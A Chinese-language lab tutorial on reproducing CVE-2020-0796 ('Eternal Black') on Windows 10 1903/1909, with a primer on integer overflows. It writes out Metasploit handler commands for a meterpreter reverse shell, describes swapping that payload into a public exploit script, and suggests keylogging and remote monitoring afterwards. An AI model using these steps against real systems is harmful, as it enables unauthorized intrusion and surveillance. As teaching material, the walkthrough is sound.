永恒之黑复现
永恒之黑复现
一. 永恒之黑介绍
原理
2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,没有检查长度是否合法,最终导致整数溢出,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码,攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
影响对象
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
二. 漏洞扫描
漏洞利用的第一步是判断目标靶机是否存在该漏洞,只要不是0-day漏洞,在微软披露了漏洞之后就会发放相应的补丁,但很多人安全意识较低,不会进行打补丁和预防操作,这就给了攻击者可乘之机。
这里用的是奇安信的漏洞扫描工具。
显示在目标靶机上存在相应的漏洞。
三. 创建监听任务
我们需要根据目标靶机的ip创建一个监听进程,这里我们使用reverse_tcp,针对自己kali设置相应的ip和端口。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.172.129
set lport 5555
run
现在监听任务创建成功
四. 配置payload
攻击的核心在于payload的选择,这里使用网上针对该漏洞的payload,但是需要注意的是由于每个人目标靶机的ip,监听端口和监听方式不同,所以我们需要生成自己的USER_PAYLOAD然后替代下载的exploit.py当中的相应内容。
使用msf生成反弹shell:
左边的是下载的exploit.py当中的内容,右边是我们自己生成的payload内容,需要进行相应的替换。
接下来使用该exploit对目标靶机进行攻击即可:
同时我们可以看见在监听终端成功获得shell
五. 后渗透攻击
在渗透攻击成功后我们成功获得了系统权限,可以进行一系列的操作。
比如键盘记录,上传文件,远程监控。。。。。
大家可以在课后自己复现的时候进行相应的查找操作,这是非常有趣的事情。
六. 二进制漏洞介绍
二进制漏洞是可执行文件(PE、ELF文件等)因编码时考虑不周,造成的软件执行了非预期的功能。由于二进制漏洞大都涉及到系统层面,所以危害程度比较高。比如经典的office栈溢出漏洞(CVE-2012-0158)、(CVE-2017-11882)以及(CVE-2017-11882)的补丁绕过漏洞(CVE-2018-0802)等,都是危险程度极高的0day和1day漏洞。
类型包括:
- 栈溢出漏洞(Stack-Overflow)
- 堆溢出漏洞(Heap-Overflow)
- 释放后重引用漏洞(Use-After-Free)
- 双重释放漏洞(Double-Free)
- 越界访问漏洞(Out-of-bounds)
- 整数溢出漏洞
二进制漏洞和之前我们所介绍的web漏洞是两个不同的分支,但是核心目地是一样的就是夺权,进行信息窃取,也是我们网络渗透当中所需要着重学习的地方。
七. 整数溢出漏洞原理
我们所使用的永恒之黑就是基于整数溢出漏洞来实现的,永恒之黑漏洞是由于SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,没有检查长度是否合法,最终导致整数溢出,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码 。
什么是整数溢出漏洞?
整数溢出漏洞是一种常见的安全问题,它发生在计算机程序的整数运算中。一个整数值超出其能表示的范围时,就会导致整数溢出。例如,在C语言中,一个标准的int类型数据范围是从0x7FFFFFFF到-0x80000000,一旦超过这个范围,就可能产生溢出。
整数溢出可以分为上界溢出和下界溢出两种。上界溢出是指整数值超过了存储空间能表示的最大值,而下界溢出则是指整数值低于存储空间能表示的最小值。
这种类型的漏洞可能导致一些难以预料的结果,甚至可能被恶意攻击者利用,通过控制输入的数值来读取甚至破坏系统的内存位置。例如,攻击者可以确定一个两字节内存分配的地址(称为L),并随后决定代表关键安全特权的内存是L的40字节偏移值(offset)。通过特定的输入,攻击者可以使整数溢出,从而重写任意内存位置,进而执行任意代码。
八. 整数溢出漏洞举例
这里我写了一个简单的验证登录程序从汇编的角度带大家了解一下什么是整数溢出漏洞。
这是一个简单的验证程序,当输入的第二个参数长度为[4,8]中间的时候会显示验证正确否则验证失败。
从汇编的角度是这样的:
也就是说在这里我们的核心是判断[rbp+passwd_len]的大小,乍一看似乎没有什么问题,但是不知道大家注意到没有。在我们的程序中passwd_len的类型是unsigned char,这个无符号字符型范围是0-255。倘若我们输入的结果大于这个范围结果会怎么样呢?
这里我们输入密码长度为261,最后的结果显示验证码正确,显然这就是整数溢出造成的问题。
现在我们再深入一点从汇编的角度理解这个流程:
我们现在查看一下这个内存当中的内容,看看到底是多少。
结果为0x04(16进制),因为整数溢出导致我们的验证程序形同虚设,漏洞利用成功。